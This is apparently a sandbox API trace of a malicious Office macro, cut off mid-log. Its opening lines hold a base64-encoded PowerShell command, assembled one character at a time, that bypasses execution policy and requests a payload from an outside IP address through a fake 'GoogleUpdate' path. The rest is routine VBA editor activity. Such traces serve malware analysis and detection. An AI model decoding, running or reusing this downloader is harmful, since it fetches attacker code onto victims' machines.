c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb2", bstrRight="5", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25z", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZ", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZV", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0c", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cm", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmV", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVh", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhb", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbS", bstrRight="g", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSg", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgp", bstrRight="O", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpO", bstrRight="y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOy", bstrRight="A", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOyA", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOyAk", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc", bstrRight="3", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.795] SafeArrayDestroyData (psa=0x697b160) returned 0x0 [0053.795] SafeArrayDestroyData (psa=0x663f2e0) returned 0x0 [0053.795] SafeArrayDestroyDescriptor (psa=0x663f2e0) returned 0x0 [0053.797] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x3e8) returned 0x3d050892 [0053.797] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x3e9) returned 0x46050232 [0053.797] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x3ea) returned 0x60508aa [0053.797] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x3eb) returned 0x40508ab [0053.797] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x3ec) returned 0x40508ac [0053.797] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x3ed) returned 0x40508ad [0053.797] GetObjectA (in: h=0x3d050892, c=32, pv=0x126470 | out: pv=0x126470) returned 32 [0053.797] GetSystemDefaultLangID () returned 0x240409 [0053.802] CreateFontIndirectA (lplf=0x1262e0) returned 0x40a08ae [0053.802] CreateFontIndirectA (lplf=0x1262e0) returned 0x30a08af [0053.802] GetObjectA (in: h=0x30a08af, c=60, pv=0x1263c0 | out: pv=0x1263c0) returned 60 [0053.802] LoadStringA (in: hInstance=0x7fef90e0000, uID=0xdece, lpBuffer=0x125f20, cchBufferMax=500 | out: lpBuffer="Arial") returned 0x5 [0053.818] LoadStringA (in: hInstance=0x7fef90e0000, uID=0xdecf, lpBuffer=0x125f20, cchBufferMax=500 | out: lpBuffer="8") returned 0x1 [0053.818] atoi (_Str="8") returned 8 [0053.818] MulDiv (nNumber=8, nNumerator=96, nDenominator=72) returned 11 [0053.818] _mbscpy_s (in: _Dst=0x1264ac, _DstSizeInBytes=0x20, _Src=0x66dbe98 | out: _Dst=0x1264ac) returned 0x0 [0053.818] CreateFontIndirectA (lplf=0x126490) returned 0x20a08b0 [0053.818] CreateFontIndirectA (lplf=0x126490) returned 0x10a08b1 [0053.818] CreateFontIndirectA (lplf=0x126490) returned 0x10a08b2 [0053.818] SelectObject (hdc=0x1e010837, h=0x10a08b1) returned 0x18a002e [0053.818] GetTextMetricsA (in: hdc=0x1e010837, lptm=0x1264d0 | out: lptm=0x1264d0) returned 1 [0053.818] SelectObject (hdc=0x1e010837, h=0x10a08b2) returned 0x10a08b1 [0053.818] GetTextMetricsA (in: hdc=0x1e010837, lptm=0x1264d0 | out: lptm=0x1264d0) returned 1 [0053.819] strcpy_s (in: _Dst=0x1261d0, _DstSize=0xc8, _Src="Software\\Microsoft\\VBA\\" | out: _Dst="Software\\Microsoft\\VBA\\") returned 0x0 [0053.819] strcat_s (in: _Destination="Software\\Microsoft\\VBA\\", _SizeInBytes=0xc8, _Source="7.1\\Common" | out: _Destination="Software\\Microsoft\\VBA\\7.1\\Common") returned 0x0 [0053.819] RegCreateKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x7fee4b704a8, lpdwDisposition=0x0 | out: phkResult=0x7fee4b704a8*=0xa18, lpdwDisposition=0x0) returned 0x0 [0053.819] LoadStringA (in: hInstance=0x7fef90e0000, uID=0x9d8c, lpBuffer=0x125dc0, cchBufferMax=500 | out: lpBuffer="Courier New") returned 0xb [0053.819] LoadStringA (in: hInstance=0x7fef90e0000, uID=0xdecb, lpBuffer=0x125dc0, cchBufferMax=500 | out: lpBuffer="10") returned 0x2 [0053.819] atoi (_Str="10") returned 10 [0053.819] RegQueryValueExA (in: hKey=0xa18, lpValueName="AutoIndent", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x1, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.819] RegQueryValueExA (in: hKey=0xa18, lpValueName="FullModuleView", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x1, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="IndicatorBar", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x1, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="SyntaxChecking", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x1, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="EndProcLine", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x1, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="DragDropInEditor", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x1, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="AutoStatement2", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x1, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="AutoQuickTips2", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x1, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="AutoValueTips2", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x1, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="TabWidth", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x1, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="OBSearchHeight", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x4, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="OBGroupMembers", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x0, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="CodeForeColors", lpReserved=0x0, lpType=0x1262a4, lpData=0x126360, lpcbData=0x1262a0*=0xc8 | out: lpType=0x1262a4*=0x0, lpData=0x126360*=0x1f, lpcbData=0x1262a0*=0xc8) returned 0x2 [0053.820] strncpy_s (in: _Dst=0x126360, _DstSize=0xc8, _Src="", _MaxCount=0xffffffffffffffff | out: _Dst="") returned 0x0 [0053.820] _mbstok_s (in: _Str=0x126360, _Delim=0x7fee4b3d4a0, _Context=0x126320 | out: _Str=0x126360, _Context=0x126320) returned 0x0 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="CodeBackColors", lpReserved=0x0, lpType=0x1262a4, lpData=0x126360, lpcbData=0x1262a0*=0xc8 | out: lpType=0x1262a4*=0x0, lpData=0x126360*=0x0, lpcbData=0x1262a0*=0xc8) returned 0x2 [0053.820] strncpy_s (in: _Dst=0x126360, _DstSize=0xc8, _Src="", _MaxCount=0xffffffffffffffff | out: _Dst="") returned 0x0 [0053.820] _mbstok_s (in: _Str=0x126360, _Delim=0x7fee4b3d4a0, _Context=0x126320 | out: _Str=0x126360, _Context=0x126320) returned 0x0 [0053.820] RegQueryValueExA (in: hKey=0xa18, lpValueName="IndicatorColors", lpReserved=0x0, lpType=0x1262a4, lpData=0x126360, lpcbData=0x1262a0*=0xc8 | out: lpType=0x1262a4*=0x0, lpData=0x126360*=0x0, lpcbData=0x1262a0*=0xc8) returned 0x2 [0053.820] strncpy_s (in: _Dst=0x126360, _DstSize=0xc8, _Src="", _MaxCount=0xffffffffffffffff | out: _Dst="") returned 0x0 [0053.820] _mbstok_s (in: _Str=0x126360, _Delim=0x7fee4b3d4a0, _Context=0x126320 | out: _Str=0x126360, _Context=0x126320) returned 0x0 [0053.820] GetObjectA (in: h=0x30a08af, c=60, pv=0x126260 | out: pv=0x126260) returned 60 [0053.821] RegQueryValueExA (in: hKey=0xa18, lpValueName="FontCharSet", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x31, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.821] RegQueryValueExA (in: hKey=0xa18, lpValueName="FontHeight", lpReserved=0x0, lpType=0x1262a8, lpData=0x1262a0, lpcbData=0x1262a4*=0x4 | out: lpType=0x1262a8*=0x0, lpData=0x1262a0*=0x0, lpcbData=0x1262a4*=0x4) returned 0x2 [0053.821] RegQueryValueExA (in: hKey=0xa18, lpValueName="FontFace", lpReserved=0x0, lpType=0x1262a4, lpData=0x126360, lpcbData=0x1262a0*=0xc8 | out: lpType=0x1262a4*=0x0, lpData=0x126360*=0x0, lpcbData=0x1262a0*=0xc8) returned 0x2 [0053.821] strncpy_s (in: _Dst=0x126360, _DstSize=0xc8, _Src="Courier New", _MaxCount=0xffffffffffffffff | out: _Dst="Courier New") returned 0x0 [0053.821] GetDeviceCaps (hdc=0x10108b3, index=90) returned 96 [0053.821] MulDiv (nNumber=10, nNumerator=96, nDenominator=72) returned 13 [0053.821] _mbsnbcpy_s (in: _Dst=0x1261dc, _DstSizeInBytes=0x20, _Src=0x126360, _MaxCount=0x1f | out: _Dst=0x1261dc) returned 0x0 [0053.821] CreateFontIndirectA (lplf=0x1261c0) returned 0x10a08b4 [0053.821] SelectObject (hdc=0x10108b3, h=0x10a08b4) returned 0x18a002e [0053.821] GetTextFaceA (in: hdc=0x10108b3, c=32, lpName=0x1261dc | out: lpName="Courier New") returned 11 [0053.821] SelectObject (hdc=0x10108b3, h=0x18a002e) returned 0x10a08b4 [0053.821] _mbsnicmp (_Str1=0x1261dc, _Str2=0x126360, _MaxCount=0xb) returned 0 [0053.821] SelectObject (hdc=0x10108b3, h=0x10a08b4) returned 0x18a002e [0053.821] DeleteObject (ho=0x18a002e) returned 1 [0053.821] GetTextMetricsA (in: hdc=0x10108b3, lptm=0x126270 | out: lptm=0x126270) returned 1 [0053.841] _mbscpy_s (in: _Dst=0x697b558, _DstSizeInBytes=0x40, _Src=0x126360 | out: _Dst=0x697b558) returned 0x0 [0053.841] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4000 [0053.841] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x4b0) returned 0x20508b8 [0053.841] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x4b1) returned 0x30508b9 [0053.841] GetObjectA (in: h=0x20508b8, c=32, pv=0x126108 | out: pv=0x126108) returned 32 [0053.841] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d3c40 [0053.842] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x4b4) returned 0x30508ba [0053.842] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x4b5) returned 0x30508bb [0053.842] GetObjectA (in: h=0x30508ba, c=32, pv=0x126108 | out: pv=0x126108) returned 32 [0053.842] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d3b80 [0053.842] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x4b2) returned 0x30508bc [0053.842] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x4b3) returned 0x30508bd [0053.842] GetObjectA (in: h=0x30508bc, c=32, pv=0x126108 | out: pv=0x126108) returned 32 [0053.842] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d3b50 [0053.842] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x4b6) returned 0x30508be [0053.842] LoadBitmapA (hInstance=0x7fee4790000, lpBitmapName=0x4b7) returned 0x30508bf [0053.842] GetObjectA (in: h=0x30508be, c=32, pv=0x126108 | out: pv=0x126108) returned 32 [0053.842] RegCloseKey (hKey=0xa18) returned 0x0 [0053.843] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\VBA", ulOptions=0x0, samDesired=0x1, phkResult=0x126470 | out: phkResult=0x126470*=0xa18) returned 0x0 [0053.843] RegQueryValueExA (in: hKey=0xa18, lpValueName="DisableOrpcDebugging7", lpReserved=0x0, lpType=0x0, lpData=0x126468, lpcbData=0x126464*=0x4 | out: lpType=0x0, lpData=0x126468*=0x0, lpcbData=0x126464*=0x4) returned 0x2 [0053.843] RegCloseKey (hKey=0xa18) returned 0x0 [0053.844] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feffa40000 [0053.844] GetProcAddress (hModule=0x7feffa40000, lpProcName="DllDebugObjectRPCHook") returned 0x7feffbbafd0 [0053.844] DllDebugObjectRPCHook () returned 0x1 [0053.844] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6907620 [0053.844] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0x69d74f0 [0053.844] GetSystemMetrics (nIndex=2) returned 17 [0053.844] GetSystemMetrics (nIndex=3) returned 17 [0053.844] GetUserDefaultLCID () returned 0x409 [0053.844] GetProfileIntA (lpAppName="windows", lpKeyName="DragMinDist", nDefault=2) returned 0x2 [0053.845] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0053.845] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInset", nDefault=11) returned 0xb [0053.845] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollDelay", nDefault=50) returned 0x32 [0053.846] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInterval", nDefault=50) returned 0x32 [0053.846] IMalloc:Alloc (This=0x7feffc15380, cb=0x78) returned 0x6a1cfd0 [0053.846] IMalloc:Alloc (This=0x7feffc15380, cb=0xe0) returned 0x6a40000 [0053.846] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0x66d3b20 [0053.846] IMalloc:GetSize (This=0x7feffc15380, pv=0x66d3b20) returned 0x28 [0053.846] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x1000) returned 0x6620c70 [0053.846] IMalloc:Alloc (This=0x7feffc15380, cb=0xc8) returned 0x69a5470 [0053.846] IMalloc:GetSize (This=0x7feffc15380, pv=0x69a5470) returned 0xc8 [0053.846] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x10) returned 0x69076a0 [0053.846] IMalloc:Alloc (This=0x7feffc15380, cb=0x120) returned 0x6923310 [0053.846] IMalloc:GetSize (This=0x7feffc15380, pv=0x6923310) returned 0x120 [0053.846] LoadStringA (in: hInstance=0x7fef90e0000, uID=0x9d23, lpBuffer=0x125e30, cchBufferMax=500 | out: lpBuffer="Value") returned 0x5 [0053.847] LoadStringA (in: hInstance=0x7fef90e0000, uID=0xdf1b, lpBuffer=0x125e30, cchBufferMax=500 | out: lpBuffer="Type") returned 0x4 [0053.847] LoadStringA (in: hInstance=0x7fef90e0000, uID=0x9d22, lpBuffer=0x125e70, cchBufferMax=500 | out: lpBuffer="Expression") returned 0xa [0053.847] LoadStringA (in: hInstance=0x7fef90e0000, uID=0x9d24, lpBuffer=0x125e70, cchBufferMax=500 | out: lpBuffer="Context") returned 0x7 [0053.848] LoadStringA (in: hInstance=0x7fef90e0000, uID=0x9d23, lpBuffer=0x125e30, cchBufferMax=500 | out: lpBuffer="Value") returned 0x5 [0053.848] LoadStringA (in: hInstance=0x7fef90e0000, uID=0xdf1b, lpBuffer=0x125e30, cchBufferMax=500 | out: lpBuffer="Type") returned 0x4 [0053.848] LoadStringA (in: hInstance=0x7fef90e0000, uID=0x9d22, lpBuffer=0x125e70, cchBufferMax=500 | out: lpBuffer="Expression") returned 0xa [0053.848] LoadStringA (in: hInstance=0x7fef90e0000, uID=0xded0, lpBuffer=0x125fe0, cchBufferMax=500 | out: lpBuffer="Module") returned 0x6 [0053.848] LoadStringA (in: hInstance=0x7fef90e0000, uID=0xdeb0, lpBuffer=0x125fe0, cchBufferMax=500 | out: lpBuffer="Object") returned 0x6 [0053.848] LoadStringA (in: hInstance=0x7fef90e0000, uID=0xdeb1, lpBuffer=0x125fe0, cchBufferMax=500 | out: lpBuffer="Procedure") returned 0x9 [0053.849] LoadStringA (in: hInstance=0x7fef90e0000, uID=0xdeb2, lpBuffer=0x125fe0, cchBufferMax=500 | out: lpBuffer="(Declarations)") returned 0xe [0053.849] LoadStringA (in: hInstance=0x7fef90e0000, uID=0xdeb3, lpBuffer=0x125fe0, cchBufferMax=500 | out: lpBuffer="(General)") returned 0x9 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x190) returned 0x6a27280 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x800) returned 0x6445e50 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x800) returned 0x6446660 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, 